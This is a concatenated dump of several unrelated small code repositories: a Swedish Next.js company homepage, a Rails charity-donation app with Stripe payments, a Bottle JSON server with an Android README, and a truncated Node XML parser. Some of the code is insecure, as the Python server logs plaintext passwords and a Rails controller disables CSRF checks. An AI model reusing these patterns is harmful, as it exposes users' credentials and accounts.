<file_sep>import Head from 'next/head' import styles from '../styles/Home.module.scss' import Link from 'next/link' export default function Home() { return ( <div className={styles.container}> <Head> <title>Create Next App</title> <link rel="icon" href="/favicon.ico" /> </Head> <div className={styles.navbar}> <img src="/ndc_logo.svg" alt="NDC Logo" className={styles.logo} /> <div className={styles.navigation}> <Link href="/posts/first-post"><a>Våra tjänster</a></Link> <Link href="/posts/first-post"><a>Om oss</a></Link> <Link href="/posts/first-post"><a>Kontakta oss</a></Link> </div> </div> <main className={styles.main}> <div className={styles.hero}> <div className={styles.desc}> <h1 className={styles.title}> Fastighetsautomation för smarta hus </h1> <p className={styles.description}>Vi optimerar inomhusklimat för komfort och lägre energiförbrukning i Stockholmsområdet.</p> <a href="mailto:<EMAIL>"><button>Kontakta oss</button> </a> </div> <img src="/modern-white-building-with-big-windows.jpg" alt="Building" className={styles.img} /> </div> <div className={styles.services}> <h2 className={styles.title}> Vi erbjuder installation av system för mätning, loggning, analys, och styrning av ventilation. </h2> <div className={styles.grid}> <div className={styles.card}><h3>🔧</h3><h3>Styrinstallation</h3>Vi utför uppdrag från utredning till installation av PLC-system.</div> <div className={styles.card}><h3>📐</h3><h3>Konstruktion</h3>Vi utför projektering och konstruktion av energibesparande och funktionella styrsystem.</div> <div className={styles.card}><h3>💻</h3><h3>Programmering</h3>Vi är experter på PLC programmerbara styrsystem.</div> </div></div> <div className={styles.about}> <h2 className={styles.title}> Vi erbjuder installation av system för mätning, loggning, analys, och styrning av ventilation. </h2> </div> </main> <footer className={styles.footer}> <a href="https://vercel.com?utm_source=create-next-app&utm_medium=default-template&utm_campaign=create-next-app" target="_blank" rel="noopener noreferrer" > <a href="<EMAIL>"><EMAIL></a> </a> </footer> </div> ) }
40b7a482d4f94f405915d7c9ba4982abd81d6071
[ "JavaScript" ]
1
JavaScript
rebeccanoren/ndc
cb648f24bad1eb02bbd711e30fd6cad0a6980aa5
316c4e7dbd0e286e2f7e91c166f606762b75cb9a
refs/heads/master
<file_sep> class DonationsController < ApplicationController before_action :authorize def new end def create @amount = params[:amount] @amount = @amount.gsub('$', '').gsub(',', '') begin @amount = Float(@amount).round(2) rescue flash[:error] = 'Charge not completed. Please enter a valid amount in CAD ($).' redirect_to new_donate_path return end @amount = (@amount * 100) if @amount > 99999999 @amount = 99999999 end @amount = @amount.to_i # Must be an integer! Stripe::Charge.create( :amount => @amount, :description => 'Custom donation', :source => params[:stripeToken], :currency => 'cad' ) @donation = Donation.new( user_id: current_user.id, charity_id: params[:charity_id], quantity: params[:amount] ) @donation.save @charity = Charity.find(params[:charity_id]); new_amount = @charity.amount + params[:amount].to_i @charity.update_attributes(:amount => new_amount ) @user = User.find(current_user.id) UserMailer.send_donation_receipt(@user, @donation,@charity).deliver UserAchievement.where(["user_id = :user_id and achieved = :achieved", { user_id: current_user.id, achieved: false }] ).find_each do |userAchievement| achievement = Achievement.find(userAchievement.achievement_id) newProgress = userAchievement.progress + params[:amount].to_i newAchieve = userAchievement.achieved if newProgress >= achievement.progress newAchieve = true end userAchievement.update_attributes( :progress => newProgress, :achieved => newAchieve ) end @user = User.find(current_user.id) redirect_to @user rescue Stripe::CardError => e flash[:error] = e.message redirect_to new_donate_path end end <file_sep>class User < ApplicationRecord has_many :user_achievements has_many :donations has_secure_password validates :email, presence: true, uniqueness: { case_sensitive: false } validates :password, presence: true, length: { minimum: 6 } validates :password_confirmation, presence: true end <file_sep>class UserNotifierMailer < ApplicationMailer default :from => '<EMAIL>' # send a signup email to the user, pass in the user object that contains the user's email address def send_signup_email(user) @user = user mail( :to => @user.email, :subject => 'Thanks for signing up for our amazing app' ) end def send_donation_receipt(user, donation) @user = user mail( :to => @user.email, :subject => 'Thanks for signing up for our amazing app' ) end def send_achievement_receipt(user, achievement) @user = user mail( :to => @user.email, :subject => 'Thanks for signing up for our amazing app' ) end end <file_sep># Preview all emails at http://localhost:3000/rails/mailers/user_mailer class UserMailerPreview < ActionMailer::Preview def send_signup_email user = User.first UserMailer.send_signup_email(user) end def send_donation_receipt user = User.first donation = Donation.first charity = Charity.first UserMailer.send_donation_receipt(user,donation,charity) end end <file_sep>require 'test_helper' class DonatesControllerTest < ActionDispatch::IntegrationTest test "should get new" do get donates_new_url assert_response :success end test "should get create" do get donates_create_url assert_response :success end end <file_sep> # For details on the DSL available within this file, see http://guides.rubyonrails.org/routing.html Rails.application.routes.draw do # get 'donates/new' # # get 'donates/create' get 'users/new' root to: 'charities#index' get '/signup', to: 'users#new' get '/login' => 'sessions#new' post '/login' => 'sessions#create' get '/logout' => 'sessions#destroy' resources :about, only: [:index] resources :users resources :charities, only: [:index, :show] do resources :donations, only: [:create] end end Rails.application.routes.draw do mount LetsencryptPlugin::Engine, at: '/' # It must be at root level # Other routes... end<file_sep>class CharitiesController < ApplicationController def index @charities = Charity.all end def show @charity = Charity.find(params[:id]) @achievements = Achievement.all @donation = Donation.new @donation_number_stats = { 0_4 => 0, 5_9 => 0, 10_49 => 0, 50_99 => 0, 100 => 0 } @donation_quantity_stats = { 0_4 => 0, 5_9 => 0, 10_49 => 0, 50_99 => 0, 100 => 0 } require 'open-uri' url = "https://newsapi.org/v2/everything?q=\"#{@charity.name}\" &language=en&sortBy=relevancy&apiKey=#{ENV['NEWS_API_KEY']}" req = open(url) @news_json = req.read @news_json = JSON.parse(@news_json) puts if ( @news_json['articles'].count == 0 ) url = "https://newsapi.org/v2/everything?q=#{@charity.name} &language=en&sortBy=relevancy&apiKey=#{ENV['NEWS_API_KEY']}" req = open(url) @news_json = req.read @news_json = JSON.parse(@news_json) end @news_articles = @news_json['articles'] @charity.donations.each do | donation | case donation.quantity when 0..4 @donation_number_stats[0_4] += 1 @donation_quantity_stats[0_4] += donation.quantity when 4..9 @donation_number_stats[5_9] += 1 @donation_quantity_stats[5_9] += donation.quantity when 10..49 @donation_number_stats[10_49] += 1 @donation_quantity_stats[10_49] += donation.quantity when 50..99 @donation_number_stats[50_99] += 1 @donation_quantity_stats[50_99] += donation.quantity else @donation_number_stats[100] += 1 @donation_quantity_stats[100] += donation.quantity end end end end <file_sep> class CreateUserAchievements < ActiveRecord::Migration[5.1] def change create_table :user_achievements do |t| t.references :achievement, index: true, foreign_key: true t.references :user, index: true, foreign_key: true t.boolean :achieved t.integer :progress t.timestamps null: false end end end <file_sep>puts "Seeding Data ..." ## CHARITIES puts "Re-creating Charities ..." Donation.destroy_all UserAchievement.destroy_all Charity.destroy_all User.destroy_all Achievement.destroy_all ## CHARITIES puts "Re-creating Charities ..." charity1 = Charity.create!({ name: 'GiveDirectly', description: 'GiveDirectly is a nonprofit organization operating in East Africa that helps families living in extreme poverty by making unconditional cash transfers to them via mobile phone. GiveDirectly transfers funds to people in Kenya, Uganda, and Rwanda.', amount: 278, image: '002-new-lifesaver.png' }) charity2 = Charity.create!({ name: 'The END Fund', description: 'The END Fund is a leader in the global health movement to tackle neglected tropical diseases, working collaboratively with committed partners including global health organizations, visionary investors, pharmaceutical companies, leaders from developing countries affected by NTDs, and those who suffer from the diseases themselves.', amount: 32, image: '003-new-first-aid-kit.png' }) charity3 = Charity.create!({ name: 'Against Malaria Foundation', description: 'The Against Malaria Foundation (AMF) is a United Kingdom-based charity that provides long-lasting insecticidal nets (LLINs) to populations at high risk of malaria, primarily in Africa.', amount: 36, image: '004-new-ribbon.png' }) charity4 = Charity.create!({ name: 'Malaria Consortium', description: 'Established in 2003, Malaria Consortium is one of the world’s leading non-profit organisations specialising in the prevention, control and treatment of malaria and other communicable diseases among vulnerable populations.', amount: 41, image: '005-new-medicine.png' }) charity5 = Charity.create!({ name: 'Deworm the World Initiative', description: 'The Deworm the World Initiative is a program led by the nonprofit Evidence Action that works to support governments in developing school-based deworming programs in Kenya, India, Ethiopia, and Vietnam.', amount: 71, image: '006-new-heart.png' }) charity6 = Charity.create!({ name: 'Sightsavers', description: 'Sightsavers is an international non-governmental organisation that works with partners in developing countries to treat and prevent avoidable blindness, and promote equality for people with visual impairments and other disabilities.', amount: 76, image: '001-new-box.png' }) charity7 = Charity.create!({ name: 'Schistosomiasis Control Initiative', description: 'Schistosomiasis Control Initiative is an initiative that helps governments in African countries treat schistosomiasis, one of the most common neglected tropical diseases, caused by parasitic worms. It was founded in 2002 and funded via grants from the Gates Foundation and USAID.', amount: 66, image: '007-new-people.png' }) ## USERS puts "Re-creating Users ..." user1 = User.create!({ first_name: Faker::Name.first_name, last_name: Faker::Name.last_name, email: Faker::Internet.email, avatar: Faker::Avatar.image, password: '<PASSWORD>', password_confirmation: '<PASSWORD>' }) user2 = User.create!({ first_name: Faker::Name.first_name, last_name: Faker::Name.last_name, email: Faker::Internet.email, avatar: Faker::Avatar.image, password: '<PASSWORD>', password_confirmation: '<PASSWORD>' }) user3 = User.create!({ first_name: Faker::Name.first_name, last_name: Faker::Name.last_name, email: Faker::Internet.email, avatar: Faker::Avatar.image, password: '<PASSWORD>', password_confirmation: '<PASSWORD>' }) user4 = User.create!({ first_name: Faker::Name.first_name, last_name: Faker::Name.last_name, email: Faker::Internet.email, avatar: Faker::Avatar.image, password: '<PASSWORD>', password_confirmation: '<PASSWORD>' }) user5 = User.create!({ first_name: Faker::Name.first_name, last_name: Faker::Name.last_name, email: Faker::Internet.email, avatar: Faker::Avatar.image, password: '<PASSWORD>', password_confirmation: '<PASSWORD>' }) user6 = User.create!({ first_name: Faker::Name.first_name, last_name: Faker::Name.last_name, email: Faker::Internet.email, avatar: Faker::Avatar.image, password: '<PASSWORD>', password_confirmation: '<PASSWORD>' }) user7 = User.create!({ first_name: Faker::Name.first_name, last_name: Faker::Name.last_name, email: Faker::Internet.email, avatar: Faker::Avatar.image, password: '<PASSWORD>', password_confirmation: '<PASSWORD>' }) user8 = User.create!({ first_name: Faker::Name.first_name, last_name: Faker::Name.last_name, email: Faker::Internet.email, avatar: Faker::Avatar.image, password: '<PASSWORD>', password_confirmation: '<PASSWORD>' }) user9 = User.create!({ first_name: Faker::Name.first_name, last_name: Faker::Name.last_name, email: Faker::Internet.email, avatar: Faker::Avatar.image, password: '<PASSWORD>', password_confirmation: '<PASSWORD>' }) user10 = User.create!({ first_name: Faker::Name.first_name, last_name: Faker::Name.last_name, email: Faker::Internet.email, avatar: Faker::Avatar.image, password: '<PASSWORD>', password_confirmation: '<PASSWORD>' }) ## ACHIEVEMENTS puts "Re-creating Achievements ..." achievement1 = Achievement.create!({ title: 'Join Us, Join Us', description: 'Register on Charity Spree', progress: 0, image: '001-award.png' }) achievement2 = Achievement.create!({ title: 'Bang for Your Buck', description: 'Donate 1 dollar', progress: 1, image: '002-medal.png' }) achievement11 = Achievement.create!({ title: 'High Five', description: 'Donate 5 dollars', progress: 5, image: '003-ribbon.png' }) achievement3 = Achievement.create!({ title: 'Loose Change', description: 'Donate 10 dollars', progress: 10, image: '002-trophy-1.png' }) achievement13 = Achievement.create!({ title: 'High Five Times Five', description: 'Donate 25 dollars', progress: 25, image: '005-cup.png' }) achievement12 = Achievement.create!({ title: 'Fifty Shades of Goodness', description: 'Donate 50 dollars', progress: 50, image: '005-torch.png' }) achievement4 = Achievement.create!({ title: 'Big Generosity', description: 'Donate 100 dollars', progress: 100, image: '001-trophy-2.png' }) achievement6 = Achievement.create!({ title: 'Super Supporter', description: 'Donate 200 dollars', progress: 200, image: '007-ribbon.png' }) achievement7 = Achievement.create!({ title: 'Champion Donator', description: 'Donate 250 dollars', progress: 250, image: '006-trophy.png' }) achievement10 = Achievement.create!({ title: 'Achievement Spree', description: 'Donate 500 dollars', progress: 500, image: '004-crown.png' }) ## User_Achievements puts "Re-creating UserAchievements ..." user1.user_achievements.create!(progress: 0, achieved: true, achievement_id: achievement1.id) user1.user_achievements.create!(progress: 1, achieved: true, achievement_id: achievement2.id) user1.user_achievements.create!(progress: 5, achieved: true, achievement_id: achievement11.id) user1.user_achievements.create!(progress: 10,achieved: true, achievement_id: achievement3.id) user1.user_achievements.create!(progress: 25,achieved: true, achievement_id: achievement13.id) user1.user_achievements.create!(progress: 50,achieved: true, achievement_id: achievement12.id) user1.user_achievements.create!(progress: 90, achieved: false, achievement_id: achievement4.id) user1.user_achievements.create!(progress: 90, achieved: false, achievement_id: achievement6.id) user1.user_achievements.create!(progress: 90, achieved: false, achievement_id: achievement7.id) user2.user_achievements.create!(progress: 0, achieved: true, achievement_id: achievement1.id) user2.user_achievements.create!(progress: 1, achieved: true, achievement_id: achievement2.id) user2.user_achievements.create!(progress: 5, achieved: true, achievement_id: achievement11.id) user2.user_achievements.create!(progress: 9, achieved: false, achievement_id: achievement3.id) user3.user_achievements.create!(progress: 0, achieved: true, achievement_id: achievement1.id) user3.user_achievements.create!(progress: 1, achieved: true, achievement_id: achievement2.id) user3.user_achievements.create!(progress: 5, achieved: true, achievement_id: achievement11.id) user3.user_achievements.create!(progress: 10, achieved: true, achievement_id: achievement3.id) user3.user_achievements.create!(progress: 25,achieved: true, achievement_id: achievement13.id) user3.user_achievements.create!(progress: 50,achieved: true, achievement_id: achievement12.id) user3.user_achievements.create!(progress: 100, achieved: true, achievement_id: achievement4.id) user3.user_achievements.create!(progress: 200, achieved: true, achievement_id: achievement6.id) user3.user_achievements.create!(progress: 250, achieved: true, achievement_id: achievement7.id) user4.user_achievements.create!(progress: 0, achieved: true, achievement_id: achievement1.id) user4.user_achievements.create!(progress: 1, achieved: true, achievement_id: achievement2.id) user4.user_achievements.create!(progress: 5, achieved: true, achievement_id: achievement11.id) user4.user_achievements.create!(progress: 10, achieved: true, achievement_id: achievement3.id) user4.user_achievements.create!(progress: 25,achieved: true, achievement_id: achievement13.id) user4.user_achievements.create!(progress: 50,achieved: true, achievement_id: achievement12.id) user4.user_achievements.create!(progress: 100, achieved: true, achievement_id: achievement4.id) user4.user_achievements.create!(progress: 200, achieved: true, achievement_id: achievement6.id) user4.user_achievements.create!(progress: 250, achieved: true, achievement_id: achievement7.id) user5.user_achievements.create!(progress: 0, achieved: true, achievement_id: achievement1.id) user6.user_achievements.create!(progress: 0, achieved: true, achievement_id: achievement1.id) user7.user_achievements.create!(progress: 0, achieved: true, achievement_id: achievement1.id) user8.user_achievements.create!(progress: 0, achieved: true, achievement_id: achievement1.id) user9.user_achievements.create!(progress: 0, achieved: true, achievement_id: achievement1.id) user10.user_achievements.create!(progress: 0, achieved: true, achievement_id: achievement1.id) ## DONATIONS puts "Re-creating Donations ..." user1.donations.create!(quantity: 1, charity_id: charity1.id) user1.donations.create!(quantity: 5, charity_id: charity2.id) user1.donations.create!(quantity: 10, charity_id: charity3.id) user1.donations.create!(quantity: 15, charity_id: charity4.id) user1.donations.create!(quantity: 20, charity_id: charity5.id) user1.donations.create!(quantity: 25, charity_id: charity6.id) user1.donations.create!(quantity: 15, charity_id: charity7.id) user2.donations.create!(quantity: 2, charity_id: charity1.id) user2.donations.create!(quantity: 2, charity_id: charity2.id) user2.donations.create!(quantity: 1, charity_id: charity3.id) user2.donations.create!(quantity: 1, charity_id: charity4.id) user2.donations.create!(quantity: 1, charity_id: charity5.id) user2.donations.create!(quantity: 1, charity_id: charity6.id) user2.donations.create!(quantity: 1, charity_id: charity7.id) user3.donations.create!(quantity: 25, charity_id: charity1.id) user3.donations.create!(quantity: 25, charity_id: charity2.id) user3.donations.create!(quantity: 25, charity_id: charity3.id) user3.donations.create!(quantity: 25, charity_id: charity4.id) user3.donations.create!(quantity: 50, charity_id: charity5.id) user3.donations.create!(quantity: 50, charity_id: charity6.id) user3.donations.create!(quantity: 50, charity_id: charity7.id) user4.donations.create!(quantity: 250, charity_id: charity1.id) puts "DONE!" <file_sep>class ApplicationController < ActionController::Base protect_from_forgery with: :exception before_action :set_previous_url helper_method :previous_url def set_previous_url puts request.method if request.method == "GET" puts "if passes" if session[:previous_url] != session[:current_url] session[:previous_url] = session[:current_url] session[:current_url] = request.url else session[:previous_url] = charities_path session[:current_url] = request.url end puts "previous_url" puts session[:previous_url] puts "current_url" puts session[:current_url] end end def previous_url session[:previous_url] end def recent_activities @recent_donations = Donation.all.order(created_at: :desc).limit(5).map { | donation | puts "donation" { :id => donation.id, :activity => "Donation", :user_name => User.find(donation.user_id).first_name.strip, :charity_name => Charity.find(donation.charity_id).name.strip, :date => donation.created_at, :quantity => donation.quantity, :image => "donate.png" } }.sort! { | a,b | b[:created_at] <=> a[:created_at] } @recent_achievements = UserAchievement.where(achieved: true).order(updated_at: :desc).limit(5).map { | achievement | puts "achievment" { :id => achievement.id, :activity => "Achievement", :achievement => Achievement.find(achievement.achievement_id).title.strip, :user_name => User.find(achievement.user_id).first_name.strip, :date => achievement.updated_at, :quantity => achievement.progress, :image => Achievement.find(achievement.achievement_id).image } }.sort! { | a,b | b[:updated_at] <=> a[:updated_at] } if @recent_donations != nil @recent_activities = @recent_donations end if @recent_achievements != nil @recent_activities += @recent_achievements end @recent_activities.sort! { | a,b | b[:date] <=> a[:date] } end helper_method :recent_activities def current_user if session[:user_id] if @current_user = User.where(:id => session[:user_id]).empty? @current_user = nil session[:user_id] = nil else @current_user = User.find(session[:user_id]) end else @current_user = nil end end helper_method :current_user def authorize redirect_to '/login' unless current_user end end <file_sep>class UsersController < ApplicationController skip_before_action :verify_authenticity_token before_action :check_for_cancel # before_action :authorize, only: [:show , :index] def index @users = if params[:term] puts 'hello' User.where('first_name ILIKE ? OR last_name ILIKE ?', "%#{params[:term]}%", "%#{params[:term]}%") else User.all end end def new @user = User.new end def show @user = User.find(params[:id]) @achievements = Achievement.where('id NOT IN (SELECT achievement_id FROM user_achievements WHERE user_id = ?)', @user.id) end def create @user = User.new(user_params) @user.avatar = Faker::Avatar.image if @user.save UserMailer.send_signup_email(@user).deliver session[:user_id] = @user.id session[:time] = Time.now Achievement.all.find_each do |achievement| if achievement.id == 1 @user.user_achievements.create!(progress: 0, achieved: true, achievement_id: achievement.id) else @user.user_achievements.create!(progress: 0, achieved: false, achievement_id: achievement.id) end end redirect_to previous_url else render 'new' end end def edit @user = User.find(params[:id]) end def update puts "update user" @user = User.find(params[:id]) if @user.update_attributes(user_params) redirect_to @user # Handle a successful update. else render 'edit' end end private def user_params params.require(:user) .permit( :first_name, :last_name, :email, :password, :password_confirmation) end def check_for_cancel puts "cancel check" if params[:commit_cancel] == "Cancel" redirect_to user_path end end end <file_sep># Charity Spree Charity Spree makes giving money fun, social and rewarding. By donating on Charity Spree, users can earn badges, which they are invited to share on social media--encouraging friends, family and colleagues to get involved. ## Getting Started 1. Fork CharitySpree on GitHub 2. Clone the project 3. Bundle install 4. Run migrations 5. Seed database 6. Run server ## Built With * [Ruby on Rails](http://rubyonrails.org/) - The framework used * [PostgreSQL](https://www.postgresql.org/) - SQL Database * [Heroku](https://www.heroku.com/) - Used for hosting * [Bootstrap](https://getbootstrap.com/) - CSS framework * [Sass](http://sass-lang.com/) - Preprocessor * [Facebook API](https://developers.facebook.com/) - Used for connecting users to Facebook * [Twitter API](https://developer.twitter.com/en/docs) - Used for connection users to Twitter * [Stripe](https://stripe.com/docs/api) - Used for processing credit card payments * [SendGrid](https://sendgrid.com/) - Used for templating emails * [News API](https://newsapi.org/) - Used for news ticker on charities#show ## Authors * **<NAME>** - [Rileygowan](https://github.com/Rileygowan) * **<NAME>** - [bernieroach](https://github.com/bernieroach/) * **<NAME>** - [AmirGhan](https://github.com/AmirGhan) ## Acknowledgments <file_sep>class UserMailer < ApplicationMailer default :from => '<NAME> <<EMAIL>>' # send a signup email to the user, pass in the user object that contains the user's email address def send_signup_email(user) @user = user mail( :to => @user.email, :subject => "Thanks #{@user.first_name} for joining www.charityspree.com" ) end def send_donation_receipt(user, donation, charity) @user = user @donation = donation @charity = charity mail( :to => @user.email, :subject => "Thanks for your donation to #{@charity.name} at www.charityspree.com" ) end end <file_sep>//= require jquery //= require jquery_ujs //= require bootstrap-sprockets //= require rails-ujs //= require_tree . $( document ).ready(function() { $('.next-section').click((e)=>{ let selected = $('.active-section'); let sections = $('section'); let pos = sections.index(selected); let next = sections.get(pos +1); let prev = sections.get(pos -1); let nextSection = $(next); $(selected).removeClass('active-section'); $(nextSection).addClass('active-section'); if( nextSection.offset()){ $('html, body').animate({ scrollTop: nextSection.offset().top + 'px'},600); } else { next = sections.get(0); nextSection = $(next); $(nextSection).addClass('active-section'); $('html, body').animate({ scrollTop: 0 + 'px'},600); } e.preventDefault(); }); $('.prev-section').click((e)=>{ let selected = $('.active-section'); let sections = $('section'); let pos = sections.index(selected); let next = sections.get(pos +1); let prev = sections.get(pos -1); let prevSection = $(prev); $(selected).removeClass('active-section'); $(prevSection).addClass('active-section'); if( prevSection.offset() && pos !== 1 && sections.length !== 1){ $('html, body').animate({ scrollTop: prevSection.offset().top + 'px'},600); } else { $('html, body').animate({ scrollTop: 0 + 'px'},600); } e.preventDefault(); }); $("#amount").on('keyup',function(e){ if(e.keyCode === 13) { e.preventDefault(); $('#error_explanation').html(''); var amount = $('input#amount').val(); amount = amount.replace(/\$/g, '').replace(/\,/g, '') amount = parseFloat(amount); if (isNaN(amount) || amount <= 0) { $('#error_explanation').html('<p>Please enter a valid amount in CAD ($).</p>'); } else { amount = amount * 100; // Needs to be an integer! handler.open({ amount: Math.round(amount) }) } }; }); $(document).on('click', 'a.first[href^="#"], a.second[href^="#"]', function (event) { event.preventDefault(); $('html, body').animate({ scrollTop: $($.attr(this, 'href')).offset().top }, 500); }); $( "#search" ).click(function(e) { e.preventDefault(); $("#search_box").toggleClass('active'); $("#search_box").find("#term").focus(); }); $(window).scroll(function() { if (document.body.scrollTop > 20 || document.documentElement.scrollTop > 20) { $("#prevscroll").show(600); $("#nextscroll").show(600); $("#topscroll").show(600); document.getElementById("topscroll").style.display = "inline"; } else { $("#prevscroll").hide(600); $("#nextscroll").hide(600); $("#topscroll").hide(600); // document.getElementById("topscroll").style.display = "none"; } // keep track of active-section // if active section scrollTop is less then this is the new let currentHeight = $(this).scrollTop(); let sections = $('section'); let newActive = sections.map(function(){ if ($(this).offset().top <= currentHeight) return this; }); $('.active-section').removeClass('active-section'); $(newActive.last()).addClass('active-section'); }); $("#topscroll").click(function(e) { let selected = $('.active-section'); let sections = $('section'); let first = sections.get(0); let firstSection = $(first); $(selected).removeClass('active-section'); $(firstSection).addClass('active-section'); $('html, body').animate({ scrollTop: 0 + 'px'},600); }); }); <file_sep>class Donation < ActiveRecord::Base belongs_to :charity belongs_to :user validates :quantity, presence: true end <file_sep>class ApplicationMailer < ActionMailer::Base default from: '<EMAIL>' layout 'mailer' end <file_sep>class CreateCharities < ActiveRecord::Migration[5.1] def change create_table :charities do |t| t.string :name t.text :description t.string :image t.integer :amount t.timestamps end end end class CreateAchievements < ActiveRecord::Migration[5.1] def change create_table :achievements do |t| t.string :title t.text :description t.string :image t.integer :progress t.timestamps end end end class CreateUsers < ActiveRecord::Migration[5.1] def change create_table :users do |t| t.string :email t.string :first_name t.string :last_name t.string :password_digest t.timestamps end end end class CreateDonations < ActiveRecord::Migration[5.1] def change create_table :donations do |t| t.references :users, index: true, foreign_key: true t.references :charities, index: true, foreign_key: true t.integer :quantity t.timestamps null: false end end end class CreateUserAchievements < ActiveRecord::Migration[5.1] def change create_table :user_achievements do |t| t.references :achievements, index: true, foreign_key: true t.references :users, index: true, foreign_key: true t.boolean :achieved t.integer :progress t.timestamps null: false end end end
6fc52b6cb64993a672b3c0f4b16d85c25bad25df
[ "Markdown", "JavaScript", "Ruby" ]
17
Ruby
bernieroach/charityspree2
3874a73007a943e3e0c1731aa1cd551e74633d50
a262368fd3aa9d3acdf758828b08a999573c87b4
refs/heads/master
<file_sep># androidBottleJSON A simple Android app that uses the loopj ASYNC http library for Android to connect to a simple bottle server that serves RESTful JSON over localhost. ## Running the bottle app *Tested with Python version 2.7 and bottle version 0.12.13** To run the bottle app simply open Terminal and navigate to the directory where the bottle app is stored. Then run: python json_server.py To test that your server is running simply open your browser and navigate to: 127.0.0.1:8080/json ## Running the Android app If you are connecting the Android app to the JSON server then you either need to run the app in an emulator, or alternatively connect the computer that is running the server to a WiFi hotspot on your Android device. To import the app into Android Studio simply navigate to the folder where the app is held using the Android Studio *open...* panel and select the build.gradle file. The connection may take a while so just give it opportunity to complete once the app is running. ## Setting up loopj async http library If you are setting up loopj libraries from scratch then there are a few things you should note. **Install** To install loopj simply include the following line of code in your *module:app* build.gradle file inside the dependencies. compile 'com.loopj.android:android-async-http:1.4.9' **Configuring internet access** To allow http request you need to enable them in the Android manifest. Add the following to your manifest.xml file: <uses-permission android:name="android.permission.INTERNET" /> **Creating a static http client** Finally in a new Java file, you should create a static implementation of the http client: public class HTTPClient { private static final String BASE_URL = "http://10.0.2.2:8080"; private static AsyncHttpClient client = new AsyncHttpClient(false, 80, 443); public static void get(String url, RequestParams params, AsyncHttpResponseHandler responseHandler) { client.addHeader("Accept", "application/json"); client.addHeader("Content-Type", "application/json"); client.get(getAbsoluteUrl(url), params, responseHandler); } private static String getAbsoluteUrl(String relativeUrl) { return BASE_URL + relativeUrl; } } To make a http get request: HTTPClient.get("/json", null, new JsonHttpResponseHandler() { @Override public void onSuccess(int statusCode, Header[] headers, JSONObject response) { try { text = response.get('body'); } catch (JSONException e) { e.printStackTrace(); } } @Override public void onFailure(int statusCode, Header[] headers, Throwable error, JSONObject response) { error.printStackTrace(); } }); <file_sep>import os from bottle import route, get, post, run, response, request from json import dumps import json from urllib2 import urlopen #Create a user object to hold information about a single user class User(object): #Constructor def __init__(self, u, p): #Set the username and password self.username = u self.password = p #Create an empty list of users users = [] #Create the index @route('/') def index(): response.content_type = "application/json" return dumps({"message":"Welcome to test server"}) #Create our json endpoint @route('/json') def json(): rv = {"title":"JSON test", "description":"Bottle server to test JSON response"} response.content_type = "application/json" return dumps(rv) #Create a get request for logging in @get('/login') def login(): return ''' <form action="/login" method="post"> Username: <input name="username" type="text" /> Password: <input name="<PASSWORD>" type="<PASSWORD>" /> <input value="Login" type="submit" /> </form> ''' #Create a get request for signing up @get('/signup') def signup(): return ''' <form action="/signup" method="post"> Username: <input name="username" type="text" /> Password: <input name="<PASSWORD>" type="<PASSWORD>" /> <input value="Sign up" type="submit" /> ''' #Create our post function for logging in @post('/login') def do_login(): username = request.forms.get('username') password = request.forms.get('password') print("Attempted login from account {} with password {}".format(username, password)) rv = {"message":"successful login from {}".format(username)} response.content_type = "application/json" return dumps(rv) #Create our post function for logging in on mobile @post('/mlogin') def do_mlogin(): request.content_type = "application/json" username = request.json['username'] password = request.json['password'] print("Attempted login from account {} with password {}".format(username, password)) rv = {"message":"successful login from {}".format(username)} response.content_type = "application/json" return dumps(rv) #Create our post function for signing up @post('/signup') def do_signup(): username = request.forms.get('username') password = request.forms.get('password') msg = "NULL" exists = False for u in users: if u.username == username: msg = "User already exists" exists = True if not exists: users.append(User(username, password)) msg = "User created successfully" print(users) rv = {"message":msg} response.content_type = "application/json" return dumps(rv) #Run the app if not an import if __name__ == "__main__": port = int(os.environ.get('PORT', 8080)) run(host='127.0.0.1', port = port, debug = True)
0fb7bbd312e3d6c619db9023333d9212d5cc66a2
[ "Markdown", "Python" ]
2
Markdown
thebillington/androidBottleJSON
f0e1d0762d9cbf671114d1d4051cd858c61bd147
c84886281c929b555bbffd2a435028262f41557d
refs/heads/master
<repo_name>masummillat/bl-noc-vlan<file_sep>/noc-test.js var dir = require('node-dir'); var convert = require('xml-js'); var XLSX = require('xlsx'); // display contents of files in this script's directory var allFiles=[] // match only filenames with a .txt extension and that don't start with a `.´ var result=[ ["NENAME","VLANID","MASK","NEXTHOPIP","DEVIP"], ] dir.subdirs("/home/millat/Desktop/CfgData", function(err, subdirs) { if (err) throw err; for (var i in subdirs) { if (subdirs.hasOwnProperty(i)) { allFiles.push(subdirs[i]) } } allFiles.map((file,i)=>{ console.log(file) console.log(i) dir.readFiles(file, { match: /.xml$/, exclude: /^\./ }, function(err, content, next) { if (err) throw err; // console.log('content:', content); // console.log("====================================================================================================================") var result1 = convert.xml2json(content, {compact: true, spaces: 4}); var data = JSON.parse(result1); console.log(data); var name=""; var ne1="",ne2=""; var vi1,vi2; var mk1,mk2; var nh1,nh2; var v1,v2; var myarray1=[]; var myarray2 = []; var backupcfg = data["spec:BACKUPCFG"]; // console.log(data["spec:BACKUPCFG"]) // console.log(backupcfg["spec:syndata"]) var syndata = backupcfg["spec:syndata"]; console.log(syndata); // syndata.map((attributes, i)=>{ // // console.log(attributes) // console.log(attributes["class"]); // // }) var attributes = syndata[0] var classsss = attributes["class"]; console.log(classsss) classsss.map((item, i) => { // console.log(item) if (Object.keys(item) == "NE") { // for (var i in item){ // console.log(item[i]) // } var nename = item["NE"].attributes["NENAME"]; console.log(nename); myarray1.push(nename._text) myarray2.push(nename._text) ne1=nename._text ne2=nename._text name="masum" console.log(ne1) } else if (Object.keys(item) == "VLANMAP") { //for (var i in item) { //console.log(item[i]) var vlanmap = item["VLANMAP"][0]; vlanId = vlanmap["attributes"].VLANID; var mask = vlanmap["attributes"].MASK; var nextHopIp = vlanmap["attributes"].NEXTHOPIP; console.log("vlan id") console.log(vlanId._text) console.log(mask) console.log(nextHopIp) console.log("lasjdflasjflasjflkj") // Object.assign(obj1,{ // VLANID:vlanId._text, // MASK: vlanId._text, // NEXTHOPIP: nextHopIp._text, // } ); myarray1.push(vlanId._text) myarray1.push(mask._text) myarray1.push(nextHopIp._text) vi1=vlanId._text; mk1 = mask._text; nh1 = nextHopIp._text; console.log(vi1,mk1,nh1) var vlanmap = item["VLANMAP"][1]; var vlanId = vlanmap["attributes"].VLANID; var mask = vlanmap["attributes"].MASK; var nextHopIp = vlanmap["attributes"].NEXTHOPIP; console.log("vlan id") console.log(vlanId) console.log(mask) console.log(nextHopIp) // myarray2.push(vlanId._text) // myarray2.push(mask._text) // myarray2.push(nextHopIp._text) vi2=vlanId._text; mk2 = mask._text; nh2 = 